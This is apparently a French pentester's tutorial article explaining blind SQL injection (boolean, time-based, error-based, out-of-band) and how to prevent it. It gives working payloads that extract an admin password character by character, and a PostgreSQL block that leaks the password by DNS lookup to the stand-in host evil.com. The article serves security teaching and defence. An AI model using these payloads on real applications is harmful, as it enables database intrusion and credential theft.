Les Blind SQL Injections (injections SQL aveugles) sont une catégorie d’injection SQL.
Contrairement à une injection SQL classique, elles ne fournissent pas directement les résultats des requêtes ou des messages d’erreur détaillés.
L’attaquant doit donc s’appuyer sur des indices indirects, comme des changements dans le comportement de l’application ou des variations de temps de réponse pour exploiter la vulnérabilité.
Ces attaques, bien que plus discrètes, permettent de contourner les barrières classiques pour accéder aux données sensibles d’une base. Dans cet article, nous explorerons les principes des blind SQLi, les types d’attaques et différentes techniques d’exploitation. Nous reviendrons également sur les bonnes pratiques permettant de se protéger efficacement.
Guide complet sur les blind SQLi
Qu’est-ce qu’une blind SQL injection ?
Une blind SQL injection (injection SQL aveugle) est une vulnérabilité dans une application qui permet à un attaquant d’exécuter des requêtes SQL malveillantes sur une base de données, même si l’application ne retourne pas directement les résultats des requêtes.
Contrairement à une injection SQL classique où l’attaquant peut voir les données affichées à l’écran, ici, il doit déduire les informations à partir des réponses indirectes de l’application.
L’objectif d’une blind SQL injection est de récupérer progressivement des informations sensibles (comme des données utilisateur ou des identifiants de connexion) en automatisant souvent le processus avec des outils comme Sqlmap.
Quels sont les principaux types de blind SQL injection ?
Boolean-based (basée sur des réponses booléennes)
Dans une Boolean-Based Blind SQL Injection, l’attaquant adapte son approche pour détecter des changements subtils dans le contenu de la page, tout en gardant la même logique d’attaque.
Ce type d’exploitation reste silencieux côté serveur, mais dépend fortement de la capacité de l’attaquant à identifier des éléments HTML spécifiques déclenchés par des requêtes valides ou invalides.
Time-based (basée sur le temps)
Une Time-Based Blind SQL Injection contourne les protections habituelles en exploitant le temps de réponse du serveur.
Bien que plus complexe et plus lent à exécuter que d’autres types d’injections, cette méthode reste efficace pour extraire des informations sensibles en l’absence d’indications visuelles ou d’erreurs côté client.
Exemple :
' OR IF(1=1, SLEEP(5), 0) -- (le délai montre que la condition est vraie)
' OR IF(1=2, SLEEP(5), 0) -- (pas de délai, condition fausse)
Error-based (basée sur les erreurs)
Ce type repose sur les messages d’erreur retournés par le serveur. Une requête SQL invalide peut provoquer des erreurs visibles ou génériques qui fournissent des indices sur la structure et les données de la base.
Out-of-Band SQL injection
L’Out-of-Band SQL Injection est particulièrement puissante car elle permet d’extraire des données même si les résultats de la requête ne sont jamais renvoyés au client.
Elle est également plus discrète que les méthodes basées sur les erreurs ou les délais, car elle ne génère pas de comportements suspects visibles dans l’application elle-même.
Cependant, ce type d’attaque repose sur certaines conditions spécifiques :
- Le serveur doit permettre l’exécution de commandes système ou de fonctions qui interagissent avec des services externes.
- La configuration réseau et les politiques de sécurité doivent autoriser les requêtes sortantes, notamment DNS.
Bien que plus complexe à mettre en œuvre, cette approche souligne la nécessité d’une vigilance accrue dans la gestion des permissions et des communications externes d’une base de données.
Comment identifier et exploiter une blind SQL injection ?
Exploitation d’une error-based blind SQL injection
Les injections SQL basées sur les erreurs sont relativement simples à identifier et exploiter. Une requête SQL invalide renvoie une erreur générique, tandis qu’une requête valide ne génère aucune erreur.
Identification de la vulnérabilité
Prenons l’exemple d’une application (testshop.vaadata.com
) qui utilise un paramètre « id » en GET pour afficher des informations sur un article.
Voici comment ce paramètre est transmis :
https://testshop.vaadata.com?id=12
Côté serveur, l’id est récupéré puis utilisé dans la requête SQL suivante, vulnérable aux injections SQL :
SELECT itemName FROM Items WHERE itemId = 12
Si un utilisateur injecte une valeur invalide, par exemple :
https://testshop.vaadata.com?id=blabla
Le serveur renvoie une erreur générique de type 500.
En revanche, si la requête est modifiée pour rester valide :
https://testshop.vaadata.com?id=12 AND 1=1
Elle sera interprétée par le serveur :
SELECT itemName FROM Items WHERE itemId = 12 AND 1=1
Ce qui se traduit par « récupère l’article numéro 12 et vérifie que 1=1 », qui est une requête valide qui renvoie un code 200 (OK) côté client.
Pour confirmer la vulnérabilité, une nouvelle requête peut être envoyée :
https://testshop.vaadata.com?id=12 AND 1=2
Puisque 1=2 est faux, le serveur renvoie une erreur 500. Cela confirme que le paramètre « id » est vulnérable.
Exploitation et extraction de données
Une fois la vulnérabilité confirmée, on peut manipuler la requête pour ajouter des conditions. Si la condition est vraie, la requête passe, sinon elle échoue.
Par exemple, pour extraire le mot de passe de l’utilisateur Admin, la requête suivante peut être utilisée :
https://testshop.vaadata.com?id=12 AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Admin'), 1, 1) = ‘a’
Cette requête vérifie si la première lettre du mot de passe est « a ».
- Si la lettre est correcte, la requête passe et le serveur renvoie un code 200 (OK).
- Sinon, une erreur 500 est générée.
On peut ensuite tester chaque lettre successivement (« b », « c », etc.) jusqu’à trouver la bonne. Une fois la première lettre identifiée, on passe à la seconde, et ainsi de suite, jusqu’à reconstituer l’ensemble du mot de passe.
Dans notre exemple nous récupérons le mot de passe d’un utilisateur, mais nous pourrions récupérer n’importe quelle information de la base de données.
Bien que simple, cette approche est très lente et peu discrète. Chaque tentative génère des logs sur le serveur, ce qui la rend facile à détecter. De plus, un dump complet de la base de données serait extrêmement long.
Pour optimiser cette attaque, des techniques comme l’utilisation des opérateurs <
et >
peuvent réduire le nombre de requêtes nécessaires, mais cela reste laborieux.
Exemple d’exploitation d’une boolean-based blind SQL injection
Dans cet exemple, la même application (testshop.vaadata.com
) est légèrement modifiée. En cas de problème lors de la récupération d’un article, elle ne renvoie plus d’erreur, mais affiche simplement moins d’informations ou aucun contenu.
L’important ici est qu’il existe une différence visible et cohérente entre une requête valide et une requête invalide.
Pour un attaquant, cela ne change pas fondamentalement la méthode d’exploitation.
Prenons cette requête :
https://testshop.vaadata.com?id=12 AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Admin'), 1, 1) = ‘a’
Elle reste un vecteur d’attaque valide. Cependant, au lieu de se baser sur un code d’erreur HTTP ou un autre retour explicite, l’attaquant valide le succès de l’attaque en observant un élément spécifique du contenu HTML.
Par exemple :
- Si la requête est valide, un élément précis (comme un titre, un bouton ou une description) apparaît dans la page.
- Si la requête est invalide, cet élément est absent ou le contenu de la page change.
Dans ce cas, l’information retournée par la requête vulnérable (par exemple, le mot de passe) n’est pas directement affichée dans la page. Cela permet de distinguer une Blind SQL injection d’une injection SQL classique.
- Blind SQLi : Le résultat de la requête vulnérable n’est pas directement visible. L’attaquant doit déduire le comportement du serveur en analysant des changements indirects (contenu HTML, temps de réponse, etc.).
- Injection SQL classique : Le résultat de la requête vulnérable est directement affiché ou utilisé dans la page, ce qui simplifie l’exploitation.
Exploitation d’une time-based blind SQL injection
Dans ce cas, l’application ne présente aucun indice visible côté client. En effet, le résultat direct ou indirect de la requête SQL n’est pas utilisé, et aucun message d’erreur n’est renvoyé, même en cas d’échec.
Cependant, il est toujours possible d’exploiter la vulnérabilité en utilisant des fonctions qui ralentissent conditionnellement la réponse du serveur.
Prenons un exemple avec une base de données PostgreSQL (les fonctions varient selon le SGBD utilisé).
Une requête malveillante pourrait ressembler à ceci :
https://testshop.vaadata.com?id=12; SELECT CASE WHEN (SUBSTRING((SELECT Password FROM Users WHERE Username = 'Admin'), 1, 1) = ‘a’) THEN pg_sleep(5) ELSE pg_sleep(0) END
Cette requête peut être interprétée ainsi : si la première lettre du mot de passe de l’utilisateur « Admin » est « a », le serveur attendra cinq secondes avant de répondre ; sinon, il répondra immédiatement.
Pour exploiter cette vulnérabilité, l’attaquant commence par tester si un délai conditionnel provoque un ralentissement perceptible dans la réponse du serveur, confirmant ainsi la présence de la vulnérabilité.
Ensuite, il peut manipuler la requête pour extraire progressivement les données ciblées. Par exemple, en vérifiant chaque caractère d’un mot de passe un par un, en commençant par « a », puis « b », et ainsi de suite.
Une fois le premier caractère identifié, il répète le processus pour le suivant, jusqu’à reconstituer l’information complète.
Cette approche est efficace même lorsque la requête ne produit aucun résultat visible, à condition que le serveur attende la fin de l’exécution pour répondre.
Cependant, elle a des inconvénients. Le processus est lent et génère des temps de réponse anormalement longs, ce qui peut être détecté par un système de surveillance ou d’analyse des logs. Malgré cela, elle reste une méthode puissante pour contourner les protections en l’absence d’erreurs ou d’indices visibles.
Exploitation d’une out-of-band SQL injection
Dans ce dernier scénario, le serveur ne dépend pas de la réponse de la base de données pour renvoyer des résultats au client.
Aucune des techniques classiques (basées sur les erreurs ou le délai) ne fonctionne dans ce contexte.
Cependant, cela ne signifie pas que l’application est sécurisée. En effet, un attaquant peut exploiter la vulnérabilité en utilisant des canaux alternatifs pour extraire des données, comme les requêtes DNS.
Un attaquant pourrait contrôler un site malveillant, par exemple evil.com
, capable d’enregistrer toutes les requêtes qu’il reçoit, y compris les requêtes DNS.
Il peut alors injecter une requête SQL conçue pour déclencher une requête DNS contenant des données sensibles, comme un mot de passe.
Voici une démonstration avec PostgreSQL :
declare c text; --déclaration de variable
declare p text; -- declaration de variable
BEGIN -- début de la fonction
SELECT into p (SELECT password FROM Users WHERE Username = 'Admin'); -- le mot de passe Admin est stocké dans p
c := 'copy (SELECT '''') to program ''nslookup '||p||'.evil.com'''; -- on fait une requête DNS (nslookup) sur le sous-domaine motDePasseAdmin.evil.com
execute c; -- exécution de la requête
END; -- fin de la fonction
$$ language plpgsql security definer; -- spécifique à PostgreSQL, spécifie que la fonction est en plpgsql et doit s’exécuter avec les privilèges de son propriétaire
SELECT f(); -- exécution de la fonction
Avec cette requête, le serveur effectue une requête DNS vers un sous-domaine construit à partir du mot de passe de l’utilisateur Admin, par exemple :
mysecretpassword.evil.com
Cette requête DNS sera loggée par le site evil.com
, permettant ainsi à l’attaquant de récupérer le mot de passe ou toute autre donnée sensible.
Comment prévenir les blind SQL injections ?
Une injection SQL, même sans renvoyer de résultat au client et malgré plusieurs couches applicatives, reste un vecteur d’attaque majeur. Elle peut être tout aussi dévastatrice qu’une injection SQL classique.
Pour un défenseur, les injections SQL aveugles sont souvent plus faciles à repérer. Les attaques basées sur les erreurs, les réponses booléennes ou les délais génèrent un grand nombre de requêtes, donc de logs; tandis que les attaques « out-of-band », produisent des requêtes vers des sous-domaines suspects.
Les mesures de protection restent les mêmes que pour les injections SQL classiques :
- Utiliser des requêtes préparées.
- Ne jamais faire confiance aux données utilisateur, qu’elles soient reçues directement (via un formulaire, par exemple) ou indirectement (par des données réutilisées depuis un stockage).
Un système de monitoring solide peut aider à détecter ces attaques. Toutefois, ce type de solution est réactif et insuffisant à lui seul. Si une base de données est attaquée avec succès, même brièvement, elle doit être considérée comme compromise.
Auteur : Renaud CAYOL – Pentester @Vaadata